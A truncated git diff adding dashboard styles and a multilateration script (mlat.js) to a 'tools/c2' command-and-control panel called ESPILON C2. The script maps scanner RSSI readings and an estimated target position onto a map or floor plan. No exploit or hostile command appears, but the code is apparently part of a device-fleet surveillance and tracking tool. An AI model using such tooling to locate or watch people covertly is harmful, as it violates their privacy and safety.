{ + display: flex; + align-items: center; + gap: 16px; +} + +.status { + display: flex; + align-items: center; + gap: 8px; + font-size: 12px; + color: var(--text-secondary); + padding: 6px 12px; + background: var(--bg-elevated); + border-radius: 20px; +} + +.status-dot { + width: 8px; + height: 8px; + background: var(--status-online); + border-radius: 50%; + box-shadow: 0 0 8px var(--status-online); + animation: pulse 2s infinite; +} + +@keyframes pulse { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.5; } +} + +.logout { + color: var(--text-secondary); + text-decoration: none; + font-size: 13px; + padding: 6px 12px; + border-radius: 6px; + transition: all 0.2s ease; +} + +.logout:hover { + color: var(--text-primary); + background: var(--bg-elevated); +} + +/* ========== Main Content ========== */ + +main { + padding: 24px; + max-width: 1400px; + margin: 0 auto; +} + +.page-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 24px; +} + +.page-title { + font-size: 13px; + color: var(--text-secondary); + text-transform: uppercase; + letter-spacing: 1px; +} + +.page-title span { + color: var(--text-primary); + font-weight: 600; + margin-left: 8px; +} + +/* ========== Cards Grid ========== */ + +.grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); + gap: 16px; +} + +.grid-cameras { + grid-template-columns: repeat(auto-fill, minmax(400px, 1fr)); +} + +.card { + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 12px; + overflow: hidden; + transition: all 0.2s ease; +} + +.card:hover { + border-color: var(--border-light); + box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3); +} + +.card-header { + padding: 12px 16px; + border-bottom: 1px solid var(--border-color); + display: flex; + justify-content: space-between; + align-items: center; + font-size: 13px; +} + +.card-header .name { + font-family: 'JetBrains Mono', monospace; + font-weight: 500; + color: var(--text-primary); +} + +.card-header .badge { + font-size: 10px; + font-weight: 600; + padding: 4px 10px; + border-radius: 12px; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.badge-live { + color: var(--status-online); + background: var(--status-online-bg); +} + +.badge-connected { + color: var(--status-success); + background: var(--status-success-bg); +} + +.badge-inactive { + color: var(--status-warning); + background: var(--status-warning-bg); +} + +.card-body { + padding: 16px; +} + +.card-body-image { + background: var(--bg-tertiary); + min-height: 240px; + display: flex; + align-items: center; + justify-content: center; + padding: 0; +} + +.card-body-image img { + width: 100%; + height: auto; + display: block; +} + +/* ========== Device Card ========== */ + +.device-info { + display: flex; + flex-direction: column; + gap: 10px; +} + +.device-row { + display: flex; + justify-content: space-between; + font-size: 13px; +} + +.device-row .label { + color: var(--text-muted); +} + +.device-row .value { + color: var(--text-primary); + font-family: 'JetBrains Mono', monospace; + font-size: 12px; +} + +/* ========== Empty State ========== */ + +.empty { + text-align: center; + padding: 80px 20px; + color: var(--text-secondary); +} + +.empty h2 { + font-size: 18px; + font-weight: 600; + color: var(--text-primary); + margin-bottom: 8px; +} + +.empty p { + font-size: 14px; + color: var(--text-muted); +} + +/* ========== Header Stats ========== */ + +.header-stats { + display: flex; + gap: 24px; +} + +.header-stats .stat { + display: flex; + flex-direction: column; + align-items: center; +} + +.header-stats .stat-value { + font-size: 24px; + font-weight: 700; + color: var(--accent-primary); + font-family: 'JetBrains Mono', monospace; +} + +.header-stats .stat-label { + font-size: 11px; + text-transform: uppercase; + letter-spacing: 1px; + color: var(--text-muted); +} + +/* ========== Lain Empty State ========== */ + +.empty-lain { + display: flex; + justify-content: center; + align-items: center; + min-height: 60vh; + text-align: center; + padding: 40px 20px; +} + +.lain-container { + display: flex; + flex-direction: column; + align-items: center; + gap: 24px; +} + +.lain-ascii { + font-family: 'JetBrains Mono', monospace; + font-size: 10px; + line-height: 1.2; + color: var(--accent-primary); + opacity: 0.7; + text-shadow: 0 0 10px var(--accent-primary-glow); + animation: pulse-glow 3s ease-in-out infinite; +} + +@keyframes pulse-glow { + 0%, 100% { opacity: 0.5; text-shadow: 0 0 10px var(--accent-primary-glow); } + 50% { opacity: 0.9; text-shadow: 0 0 20px var(--accent-primary-glow), 0 0 40px var(--accent-primary-glow); } +} + +.lain-message h2 { + font-size: 20px; + font-weight: 600; + color: var(--text-primary); + margin-bottom: 8px; +} + +.lain-message .typing { + font-size: 14px; + color: var(--accent-secondary); + margin-bottom: 16px; +} + +.lain-message .quote { + font-size: 12px; + color: var(--text-muted); + font-style: italic; + opacity: 0.7; +} + +/* ========== MLAT Container ========== */ + +.mlat-container { + display: grid; + grid-template-columns: 1fr 320px; + gap: 20px; +} + +@media (max-width: 900px) { + .mlat-container { + grid-template-columns: 1fr; + } +} + +/* View Toggle Buttons */ +.view-toggle { + display: flex; + gap: 4px; + background: var(--bg-secondary); + padding: 4px; + border-radius: 10px; + border: 1px solid var(--border-color); +} + +.view-btn { + display: flex; + align-items: center; + gap: 6px; + padding: 8px 16px; + border: none; + background: transparent; + color: var(--text-secondary); + font-size: 13px; + font-weight: 500; + cursor: pointer; + border-radius: 6px; + transition: all 0.2s ease; +} + +.view-btn:hover { + color: var(--text-primary); + background: var(--bg-elevated); +} + +.view-btn.active { + background: var(--accent-primary-bg); + color: var(--accent-primary); +} + +.view-btn svg { + opacity: 0.7; +} + +.view-btn.active svg { + opacity: 1; +} + +/* Map/Plan View Wrapper */ +.mlat-view-wrapper { + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 12px; + overflow: hidden; + position: relative; +} + +.mlat-view-wrapper::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 1px; + background: var(--gradient-primary); + opacity: 0.5; + z-index: 10; +} + +.mlat-view { + display: none; + height: 500px; +} + +.mlat-view.active { + display: block; +} + +/* Leaflet Map */ +#leaflet-map { + width: 100%; + height: 100%; + background: var(--bg-tertiary); +} + +/* Leaflet Dark Theme Override */ +.leaflet-container { + background: var(--bg-tertiary); + font-family: inherit; +} + +.leaflet-popup-content-wrapper { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1px solid var(--border-color); + border-radius: 8px; +} + +.leaflet-popup-tip { + background: var(--bg-secondary); +} + +.leaflet-control-zoom { + border: 1px solid var(--border-color) !important; +} + +.leaflet-control-zoom a { + background: var(--bg-secondary) !important; + color: var(--text-primary) !important; + border-bottom-color: var(--border-color) !important; +} + +.leaflet-control-zoom a:hover { + background: var(--bg-elevated) !important; +} + +.leaflet-control-attribution { + background: var(--bg-secondary) !important; + color: var(--text-muted) !important; + font-size: 10px; +} + +.leaflet-control-attribution a { + color: var(--accent-secondary) !important; +} + +/* Plan View */ +#plan-view { + display: flex; + flex-direction: column; +} + +.plan-controls { + display: flex; + align-items: center; + gap: 8px; + padding: 12px 16px; + background: var(--bg-elevated); + border-bottom: 1px solid var(--border-color); +} + +.control-divider { + width: 1px; + height: 24px; + background: var(--border-color); + margin: 0 4px; +} + +.toggle-btn { + opacity: 0.5; + transition: opacity 0.2s ease; +} + +.toggle-btn.active { + opacity: 1; + background: var(--accent-primary-bg); + color: var(--accent-primary); +} + +.control-label { + font-size: 11px; + font-weight: 500; + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.zoom-level, +.size-display { + font-size: 11px; + font-weight: 600; + color: var(--text-secondary); + min-width: 55px; + text-align: center; + padding: 4px 8px; + background: var(--bg-tertiary); + border-radius: 4px; + border: 1px solid var(--border-color); +} + +.plan-canvas-wrapper { + flex: 1; + padding: 16px; + overflow: hidden; +} + +#plan-canvas { + width: 100%; + height: 100%; + background: var(--bg-tertiary); + border-radius: 8px; + cursor: grab; +} + +#plan-canvas:active { + cursor: grabbing; +} + +/* Sidebar */ +.mlat-sidebar { + display: flex; + flex-direction: column; + gap: 16px; +} + +.mlat-panel { + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 12px; + padding: 16px; +} + +.mlat-panel h3 { + font-size: 12px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 1px; + margin-bottom: 14px; + color: var(--text-secondary); +} + +.mlat-stat { + display: flex; + justify-content: space-between; + font-size: 13px; + padding: 8px 0; + border-bottom: 1px solid var(--border-color); +} + +.mlat-stat:last-child { + border-bottom: none; +} + +.mlat-stat .label { + color: var(--text-muted); +} + +.mlat-stat .value { + color: var(--accent-primary); + font-family: 'JetBrains Mono', monospace; + font-weight: 500; +} + +.scanner-list { + display: flex; + flex-direction: column; + gap: 8px; + max-height: 200px; + overflow-y: auto; +} + +.scanner-list .empty { + padding: 20px; + text-align: center; + color: var(--text-muted); + font-size: 13px; +} + +.scanner-item { + background: var(--bg-elevated); + padding: 10px 12px; + border-radius: 8px; + font-size: 12px; + border: 1px solid transparent; + transition: all 0.2s ease; +} + +.scanner-item:hover { + border-color: var(--border-light); +} + +.scanner-item .scanner-id { + font-weight: 600; + color: var(--accent-secondary); +} + +.scanner-item .scanner-details { + color: var(--text-muted); + margin-top: 4px; + font-family: 'JetBrains Mono', monospace; + font-size: 11px; +} + +/* Button Group */ +.btn-group { + display: flex; + gap: 8px; + margin-top: 12px; +} + +.btn-sm { + padding: 6px 12px; + font-size: 12px; +} + +/* Custom Leaflet Markers */ +.scanner-marker { + background: var(--accent-secondary); + border: 2px solid #fff; + border-radius: 50%; + width: 16px !important; + height: 16px !important; + margin-left: -8px !important; + margin-top: -8px !important; + box-shadow: 0 2px 8px rgba(0,0,0,0.3); +} + +.target-marker { + width: 24px !important; + height: 24px !important; + margin-left: -12px !important; + margin-top: -12px !important; +} + +.target-marker svg { + filter: drop-shadow(0 2px 4px rgba(0,0,0,0.4)); +} + +/* Range Circle */ +.range-circle { + fill: rgba(129, 140, 248, 0.1); + stroke: rgba(129, 140, 248, 0.4); + stroke-width: 2; +} + +/* ========== Config Panel ========== */ + +.config-row { + display: flex; + justify-content: space-between; + align-items: center; + padding: 10px 0; + border-bottom: 1px solid var(--border-color); +} + +.config-row:last-child { + border-bottom: none; +} + +.config-row label { + font-size: 13px; + color: var(--text-secondary); +} + +.config-row input { + width: 80px; + padding: 6px 10px; + background: var(--bg-elevated); + border: 1px solid var(--border-color); + border-radius: 6px; + color: var(--text-primary); + font-size: 13px; + font-family: 'JetBrains Mono', monospace; + text-align: right; + transition: all 0.2s ease; +} + +.config-row input:focus { + outline: none; + border-color: var(--accent-primary); + box-shadow: 0 0 0 3px var(--accent-primary-bg); +} + +/* ========== Buttons ========== */ + +.btn { + padding: 10px 18px; + border-radius: 8px; + font-size: 13px; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s ease; +} + +.btn-primary { + background: var(--gradient-primary); + color: #fff; + box-shadow: 0 2px 10px var(--accent-primary-bg); +} + +.btn-primary:hover { + transform: translateY(-1px); + box-shadow: 0 4px 15px var(--accent-primary-glow); +} + +.btn-secondary { + background: var(--btn-secondary); + border: 1px solid var(--border-color); + color: var(--text-primary); +} + +.btn-secondary:hover { + background: var(--btn-secondary-hover); + border-color: var(--border-light); +} + +/* ========== Login Page ========== */ + +.login-container { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + background: var(--bg-primary); + position: relative; +} + +.login-container::before { + content: ''; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 600px; + height: 600px; + background: var(--gradient-glow); + pointer-events: none; +} + +.login-box { + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 16px; + padding: 40px; + width: 100%; + max-width: 380px; + position: relative; + backdrop-filter: blur(10px); +} + +.login-box .logo { + text-align: center; + margin-bottom: 32px; + font-size: 24px; +} + +.error { + background: var(--status-error-bg); + border: 1px solid var(--status-error); + color: var(--status-error); + padding: 12px 14px; + border-radius: 8px; + margin-bottom: 20px; + font-size: 13px; +} + +.form-group { + margin-bottom: 20px; +} + +.form-group label { + display: block; + font-size: 13px; + font-weight: 500; + margin-bottom: 8px; + color: var(--text-secondary); +} + +.form-group input { + width: 100%; + padding: 12px 14px; + background: var(--bg-elevated); + border: 1px solid var(--border-color); + border-radius: 8px; + color: var(--text-primary); + font-size: 14px; + transition: all 0.2s ease; +} + +.form-group input:focus { + outline: none; + border-color: var(--accent-primary); + box-shadow: 0 0 0 3px var(--accent-primary-bg); +} + +.form-group input::placeholder { + color: var(--text-muted); +} + +.btn-login { + width: 100%; + padding: 14px 20px; + background: var(--gradient-primary); + border: none; + border-radius: 8px; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + transition: all 0.2s ease; + box-shadow: 0 2px 10px var(--accent-primary-bg); +} + +.btn-login:hover { + transform: translateY(-1px); + box-shadow: 0 4px 20px var(--accent-primary-glow); +} + +/* ========== Scrollbar ========== */ + +::-webkit-scrollbar { + width: 8px; + height: 8px; +} + +::-webkit-scrollbar-track { + background: var(--bg-primary); +} + +::-webkit-scrollbar-thumb { + background: var(--border-color); + border-radius: 4px; +} + +::-webkit-scrollbar-thumb:hover { + background: var(--border-light); +} + +/* ========== Selection ========== */ + +::selection { + background: var(--accent-primary-bg); + color: var(--accent-primary); +} diff --git a/tools/c2/static/images/no-signal.png b/tools/c2/static/images/no-signal.png new file mode 100644 index 0000000..87290fd Binary files /dev/null and b/tools/c2/static/images/no-signal.png differ diff --git a/tools/c2/static/js/mlat.js b/tools/c2/static/js/mlat.js new file mode 100644 index 0000000..0b32cfe --- /dev/null +++ b/tools/c2/static/js/mlat.js @@ -0,0 +1,830 @@ +/** + * MLAT (Multilateration) Visualization for ESPILON C2 + * Supports Map view (Leaflet/OSM) and Plan view (Canvas) + * Supports both GPS (lat/lon) and Local (x/y in meters) coordinates + */ + +// ============================================================ +// State +// ============================================================ +let currentView = 'map'; +let coordMode = 'gps'; // 'gps' or 'local' +let map = null; +let planCanvas = null; +let planCtx = null; +let planImage = null; + +// Plan settings for local coordinate mode +let planSettings = { + width: 50, // meters + height: 30, // meters + originX: 0, // meters offset + originY: 0 // meters offset +}; + +// Plan display options +let showGrid = true; +let showLabels = true; +let planZoom = 1.0; // 1.0 = 100% +let panOffset = { x: 0, y: 0 }; // Pan offset in pixels +let isPanning = false; +let lastPanPos = { x: 0, y: 0 }; + +// Markers +let scannerMarkers = {}; +let targetMarker = null; +let rangeCircles = {}; + +// Data +let scanners = []; +let target = null; + +// ============================================================ +// Map View (Leaflet) - GPS Mode +// ============================================================ +function initMap() { + if (map) return; + + const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566; + const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522; + const zoom = parseInt(document.getElementById('map-zoom').value) || 18; + + map = L.map('leaflet-map', { + center: [centerLat, centerLon], + zoom: zoom, + zoomControl: true + }); + + // Dark tile layer (CartoDB Dark Matter) + L.tileLayer('https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png', { + attribution: '© CARTO', + subdomains: 'abcd', + maxZoom: 20 + }).addTo(map); +} + +function createScannerIcon() { + return L.divIcon({ + className: 'scanner-marker', + iconSize: [16, 16], + iconAnchor: [8, 8] + }); +} + +function createTargetIcon() { + return L.divIcon({ + className: 'target-marker', + html: ` + + + + `, + iconSize: [24, 24], + iconAnchor: [12, 12] + }); +} + +function updateMapMarkers() { + if (!map) return; + + // Only show GPS mode scanners on map + const gpsFilteredScanners = scanners.filter(s => s.position && s.position.lat !== undefined); + const currentIds = new Set(gpsFilteredScanners.map(s => s.id)); + + // Remove old markers + for (const id in scannerMarkers) { + if (!currentIds.has(id)) { + map.removeLayer(scannerMarkers[id]); + delete scannerMarkers[id]; + if (rangeCircles[id]) { + map.removeLayer(rangeCircles[id]); + delete rangeCircles[id]; + } + } + } + + // Update/add scanner markers + for (const scanner of gpsFilteredScanners) { + const pos = scanner.position; + + if (scannerMarkers[scanner.id]) { + scannerMarkers[scanner.id].setLatLng([pos.lat, pos.lon]); + } else { + scannerMarkers[scanner.id] = L.marker([pos.lat, pos.lon], { + icon: createScannerIcon() + }).addTo(map); + + scannerMarkers[scanner.id].bindPopup(` + ${scanner.id}
+ RSSI: ${scanner.last_rssi || '-'} dBm
+ Distance: ${scanner.estimated_distance || '-'} m + `); + } + + // Update popup content + scannerMarkers[scanner.id].setPopupContent(` + ${scanner.id}
+ RSSI: ${scanner.last_rssi || '-'} dBm
+ Distance: ${scanner.estimated_distance || '-'} m + `); + + // Update range circle + if (scanner.estimated_distance) { + if (rangeCircles[scanner.id]) { + rangeCircles[scanner.id].setLatLng([pos.lat, pos.lon]); + rangeCircles[scanner.id].setRadius(scanner.estimated_distance); + } else { + rangeCircles[scanner.id] = L.circle([pos.lat, pos.lon], { + radius: scanner.estimated_distance, + color: 'rgba(129, 140, 248, 0.4)', + fillColor: 'rgba(129, 140, 248, 0.1)', + fillOpacity: 0.3, + weight: 2 + }).addTo(map); + } + } + } + + // Update target marker (GPS only) + if (target && target.lat !== undefined) { + if (targetMarker) { + targetMarker.setLatLng([target.lat, target.lon]); + } else { + targetMarker = L.marker([target.lat, target.lon], { + icon: createTargetIcon() + }).addTo(map); + } + } else if (targetMarker) { + map.removeLayer(targetMarker); + targetMarker = null; + } +} + +function centerMap() { + if (!map) return; + + const lat = parseFloat(document.getElementById('map-center-lat').value); + const lon = parseFloat(document.getElementById('map-center-lon').value); + const zoom = parseInt(document.getElementById('map-zoom').value); + + map.setView([lat, lon], zoom); +} + +function fitMapToBounds() { + if (!map || scanners.length === 0) return; + + const points = scanners + .filter(s => s.position && s.position.lat !== undefined) + .map(s => [s.position.lat, s.position.lon]); + + if (target && target.lat !== undefined) { + points.push([target.lat, target.lon]); + } + + if (points.length > 0) { + map.fitBounds(points, { padding: [50, 50] }); + } +} + +// ============================================================ +// Plan View (Canvas) - Supports both GPS and Local coords +// ============================================================ +function initPlanCanvas() { + planCanvas = document.getElementById('plan-canvas'); + if (!planCanvas) return; + + planCtx = planCanvas.getContext('2d'); + resizePlanCanvas(); + setupPlanPanning(); + window.addEventListener('resize', resizePlanCanvas); +} + +function resizePlanCanvas() { + if (!planCanvas) return; + + const wrapper = planCanvas.parentElement; + planCanvas.width = wrapper.clientWidth - 32; + planCanvas.height = wrapper.clientHeight - 32; + drawPlan(); +} + +function drawPlan() { + if (!planCtx) return; + + const ctx = planCtx; + const w = planCanvas.width; + const h = planCanvas.height; + + // Clear (before transform) + ctx.setTransform(1, 0, 0, 1, 0, 0); + ctx.fillStyle = '#06060a'; + ctx.fillRect(0, 0, w, h); + + // Apply zoom and pan transform + const centerX = w / 2; + const centerY = h / 2; + ctx.setTransform(planZoom, 0, 0, planZoom, + centerX - centerX * planZoom + panOffset.x, + centerY - centerY * planZoom + panOffset.y); + + // Draw plan image if loaded + if (planImage) { + ctx.drawImage(planImage, 0, 0, w, h); + } + + // Draw grid (always when enabled, on top of image) + if (showGrid) { + drawGrid(ctx, w, h, !!planImage); + } + + // Draw range circles + for (const scanner of scanners) { + if (scanner.estimated_distance) { + drawPlanRangeCircle(ctx, scanner); + } + } + + // Draw scanners + for (const scanner of scanners) { + drawPlanScanner(ctx, scanner); + } + + // Draw target + if (target) { + drawPlanTarget(ctx); + } + + // Reset transform for any UI overlay + ctx.setTransform(1, 0, 0, 1, 0, 0); +} + +function drawGrid(ctx, w, h, hasImage = false) { + // More visible grid when over image + ctx.strokeStyle = hasImage ? 'rgba(129, 140, 248, 0.4)' : '#21262d'; + ctx.lineWidth = hasImage ? 1.5 : 1; + ctx.font = '10px monospace'; + ctx.fillStyle = hasImage ? 'rgba(200, 200, 200, 0.9)' : '#484f58'; + + if (coordMode === 'local') { + // Draw grid based on plan size in meters + const metersPerPixelX = planSettings.width / w; + const metersPerPixelY = planSettings.height / h; + + // Grid every 5 meters + const gridMeters = 5; + const gridPixelsX = gridMeters / metersPerPixelX; + const gridPixelsY = gridMeters / metersPerPixelY; + + // Vertical lines + for (let x = gridPixelsX; x < w; x += gridPixelsX) { + ctx.beginPath(); + ctx.moveTo(x, 0); + ctx.lineTo(x, h); + ctx.stroke(); + + // Label + if (showLabels) { + const meters = (x * metersPerPixelX + planSettings.originX).toFixed(0); + if (hasImage) { + // Background for readability + ctx.fillStyle = 'rgba(0, 0, 0, 0.6)'; + ctx.fillRect(x + 1, 2, 25, 12); + ctx.fillStyle = 'rgba(200, 200, 200, 0.9)'; + } + ctx.fillText(`${meters}m`, x + 2, 12); + } + } + + // Horizontal lines + for (let y = gridPixelsY; y < h; y += gridPixelsY) { + ctx.beginPath(); + ctx.moveTo(0, y); + ctx.lineTo(w, y); + ctx.stroke(); + + // Label + if (showLabels) { + const meters = (planSettings.height - y * metersPerPixelY + planSettings.originY).toFixed(0); + if (hasImage) { + ctx.fillStyle = 'rgba(0, 0, 0, 0.6)'; + ctx.fillRect(1, y - 13, 25, 12); + ctx.fillStyle = 'rgba(200, 200, 200, 0.9)'; + } + ctx.fillText(`${meters}m`, 2, y - 2); + } + } + + // Size label + if (showLabels) { + ctx.fillStyle = hasImage ? 'rgba(129, 140, 248, 0.9)' : '#818cf8'; + if (hasImage) { + ctx.fillStyle = 'rgba(0, 0, 0, 0.6)'; + ctx.fillRect(w - 65, h - 16, 62, 14); + ctx.fillStyle = 'rgba(129, 140, 248, 0.9)'; + } + ctx.fillText(`${planSettings.width}x${planSettings.height}m`, w - 60, h - 5); + } + } else { + // Simple grid for GPS mode + const gridSize = 50; + + for (let x = gridSize; x < w; x += gridSize) { + ctx.beginPath(); + ctx.moveTo(x, 0); + ctx.lineTo(x, h); + ctx.stroke(); + } + + for (let y = gridSize; y < h; y += gridSize) { + ctx.beginPath(); + ctx.moveTo(0, y); + ctx.lineTo(w, y); + ctx.stroke(); + } + } +} + +function toggleGrid() { + showGrid = !showGrid; + document.getElementById('grid-toggle').classList.toggle('active', showGrid); + drawPlan(); +} + +function toggleLabels() { + showLabels = !showLabels; + document.getElementById('labels-toggle').classList.toggle('active', showLabels); + drawPlan(); +} + +function zoomPlan(direction) { + const zoomStep = 0.25; + const minZoom = 0.25; + const maxZoom = 4.0; + + if (direction > 0) { + planZoom = Math.min(maxZoom, planZoom + zoomStep); + } else { + planZoom = Math.max(minZoom, planZoom - zoomStep); + } + + updateZoomDisplay(); + drawPlan(); +} + +function resetZoom() { + planZoom = 1.0; + panOffset = { x: 0, y: 0 }; + updateZoomDisplay(); + drawPlan(); +} + +function updateZoomDisplay() { + const el = document.getElementById('zoom-level'); + if (el) { + el.textContent = Math.round(planZoom * 100) + '%'; + } +} + +function setupPlanPanning() { + if (!planCanvas) return; + + // Mouse wheel zoom + planCanvas.addEventListener('wheel', (e) => { + e.preventDefault(); + const direction = e.deltaY < 0 ? 1 : -1; + zoomPlan(direction); + }, { passive: false }); + + // Pan with mouse drag + planCanvas.addEventListener('mousedown', (e) => { + if (e.button === 0) { // Left click + isPanning = true; + lastPanPos = { x: e.clientX, y: e.clientY }; + planCanvas.style.cursor = 'grabbing'; + } + }); + + planCanvas.addEventListener('mousemove', (e) => { + if (isPanning) { + const dx = e.clientX - lastPanPos.x; + const dy = e.clientY - lastPanPos.y; + panOffset.x += dx; + panOffset.y += dy; + lastPanPos = { x: e.clientX, y: e.clientY }; + drawPlan(); + } + }); + + planCanvas.addEventListener('mouseup', () => { + isPanning = false; + planCanvas.style.cursor = 'grab'; + }); + + planCanvas.addEventListener('mouseleave', () => { + isPanning = false; + planCanvas.style.cursor = 'grab'; + }); + + planCanvas.style.cursor = 'grab'; +} + +function worldToCanvas(pos) { + const w = planCanvas.width; + const h = planCanvas.height; + + if (coordMode === 'local' || (pos.x !== undefined && pos.lat === undefined)) { + // Local coordinates (x, y in meters) + const x = pos.x !== undefined ? pos.x : 0; + const y = pos.y !== undefined ? pos.y : 0; + + const canvasX = ((x - planSettings.originX) / planSettings.width) * w; + const canvasY = h - ((y - planSettings.originY) / planSettings.height) * h; + + return { + x: Math.max(0, Math.min(w, canvasX)), + y: Math.max(0, Math.min(h, canvasY)) + }; + } else { + // GPS coordinates (lat, lon) + const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566; + const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522; + const range = 0.002; // ~200m + + const canvasX = ((pos.lon - centerLon + range) / (2 * range)) * w; + const canvasY = ((centerLat + range - pos.lat) / (2 * range)) * h; + + return { + x: Math.max(0, Math.min(w, canvasX)), + y: Math.max(0, Math.min(h, canvasY)) + }; + } +} + +function distanceToPixels(distance) { + if (coordMode === 'local') { + // Direct conversion: distance in meters to pixels + const pixelsPerMeter = planCanvas.width / planSettings.width; + return distance * pixelsPerMeter; + } else { + // GPS mode: approximate conversion + const range = 0.002; // degrees + const rangeMeters = range * 111000; // ~222m + const pixelsPerMeter = planCanvas.width / rangeMeters; + return distance * pixelsPerMeter; + } +} + +function drawPlanRangeCircle(ctx, scanner) { + const pos = scanner.position; + if (!pos) return; + + // Check if position is valid for current mode + if (coordMode === 'local' && pos.x === undefined && pos.lat !== undefined) return; + if (coordMode === 'gps' && pos.lat === undefined && pos.x !== undefined) return; + + const canvasPos = worldToCanvas(pos); + const radius = distanceToPixels(scanner.estimated_distance); + + ctx.beginPath(); + ctx.arc(canvasPos.x, canvasPos.y, radius, 0, Math.PI * 2); + ctx.strokeStyle = 'rgba(129, 140, 248, 0.3)'; + ctx.lineWidth = 2; + ctx.stroke(); +} + +function drawPlanScanner(ctx, scanner) { + const pos = scanner.position; + if (!pos) return; + + // Check if position is valid + const hasGPS = pos.lat !== undefined; + const hasLocal = pos.x !== undefined; + + if (!hasGPS && !hasLocal) return; + + const canvasPos = worldToCanvas(pos); + + // Dot + ctx.beginPath(); + ctx.arc(canvasPos.x, canvasPos.y, 8, 0, Math.PI * 2); + ctx.fillStyle = '#818cf8'; + ctx.fill(); + + // Label + ctx.font = '12px monospace'; + ctx.fillStyle = '#c9d1d9'; + ctx.textAlign = 'center'; + ctx.fillText(scanner.id, canvasPos.x, canvasPos.y - 15); + + // RSSI + if (scanner.last_rssi !== null) { + ctx.font = '10px monospace'; + ctx.fillStyle = '#484f58'; + ctx.fillText(`${scanner.last_rssi} dBm`, canvasPos.x, canvasPos.y + 20); + } + + ctx.textAlign = 'left'; +} + +function drawPlanTarget(ctx) { + if (!target) return; + + const hasGPS = target.lat !== undefined; + const hasLocal = target.x !== undefined; + + if (!hasGPS && !hasLocal) return; + + const canvasPos = worldToCanvas(target); + + // Glow + ctx.beginPath(); + ctx.arc(canvasPos.x, canvasPos.y, 20, 0, Math.PI * 2); + ctx.fillStyle = 'rgba(248, 113, 113, 0.3)'; + ctx.fill(); + + // Cross + ctx.strokeStyle = '#f87171'; + ctx.lineWidth = 3; + + ctx.beginPath(); + ctx.moveTo(canvasPos.x - 12, canvasPos.y - 12); + ctx.lineTo(canvasPos.x + 12, canvasPos.y + 12); + ctx.stroke(); + + ctx.beginPath(); + ctx.moveTo(canvasPos.x + 12, canvasPos.y - 12); + ctx.lineTo(canvasPos.x - 12, canvasPos.y + 12); + ctx.stroke(); + + // Label + ctx.font = 'bold 12px monospace'; + ctx.fillStyle = '#f87171'; + ctx.textAlign = 'center'; + ctx.fillText('TARGET', canvasPos.x, canvasPos.y - 25); + ctx.textAlign = 'left'; +} + +// ============================================================ +// Plan Image Upload & Calibration +// ============================================================ +function uploadPlanImage(input) { + const file = input.files[0]; + if (!file) return; + + const reader = new FileReader(); + reader.onload = function(e) { + planImage = new Image(); + planImage.onload = function() { + document.getElementById('calibrate-btn').disabled = false; + drawPlan(); + }; + planImage.src = e.target.result; + }; + reader.readAsDataURL(file); +} + +function calibratePlan() { + alert('Calibration: Set the plan dimensions in Plan Settings panel.\n\nThe grid will map x,y meters to your uploaded image.'); + drawPlan(); +} + +function clearPlan() { + planImage = null; + document.getElementById('calibrate-btn').disabled = true; + drawPlan(); +} + +function applyPlanSettings() { + planSettings.width = parseFloat(document.getElementById('plan-width').value) || 50; + planSettings.height = parseFloat(document.getElementById('plan-height').value) || 30; + planSettings.originX = parseFloat(document.getElementById('plan-origin-x').value) || 0; + planSettings.originY = parseFloat(document.getElementById('plan-origin-y').value) || 0; + updateSizeDisplay(); + drawPlan(); +} + +function adjustPlanSize(delta) { + // Adjust both width and height proportionally + const minSize = 10; + const maxSize = 500; + + planSettings.width = Math.max(minSize, Math.min(maxSize, planSettings.width + delta)); + planSettings.height = Math.max(minSize, Math.min(maxSize, planSettings.height + Math.round(delta * 0.6))); + + // Update input fields in sidebar + document.getElementById('plan-width').value = planSettings.width; + document.getElementById('plan-height').value = planSettings.height; + + updateSizeDisplay(); + drawPlan(); +} + +function updateSizeDisplay() { + const el = document.getElementById('size-display'); + if (el) { + el.textContent = `${planSettings.width}x${planSettings.height}m`; + } +} + +// ============================================================ +// View Switching +// ============================================================ +function switchView(view) { + currentView = view; + + // Update buttons + document.querySelectorAll('.view-btn').forEach(btn => { + btn.classList.toggle('active', btn.dataset.view === view); + }); + + // Update views + document.getElementById('map-view').classList.toggle('active', view === 'map'); + document.getElementById('plan-view').classList.toggle('active', view === 'plan'); + + // Show/hide settings panels based on view + document.getElementById('map-settings').style.display = view === 'map' ? 'block' : 'none'; + document.getElementById('plan-settings').style.display = view === 'plan' ? 'block' : 'none'; + + // Initialize view if needed + if (view === 'map') { + setTimeout(() => { + if (!map) initMap(); + else map.invalidateSize(); + updateMapMarkers(); + }, 100); + } else { + if (!planCanvas) initPlanCanvas(); + else resizePlanCanvas(); + } +} + +// ============================================================ +// UI Updates +// ============================================================ +function updateCoordMode(mode) { + coordMode = mode; + + const modeDisplay = document.getElementById('coord-mode'); + const coord1Label = document.getElementById('target-coord1-label'); + const coord2Label = document.getElementById('target-coord2-label'); + + if (mode === 'gps') { + modeDisplay.textContent = 'GPS'; + coord1Label.textContent = 'Latitude'; + coord2Label.textContent = 'Longitude'; + } else { + modeDisplay.textContent = 'Local'; + coord1Label.textContent = 'X (m)'; + coord2Label.textContent = 'Y (m)'; + } +} + +function updateTargetInfo(targetData) { + const coord1El = document.getElementById('target-coord1'); + const coord2El = document.getElementById('target-coord2'); + + if (targetData && targetData.position) { + const pos = 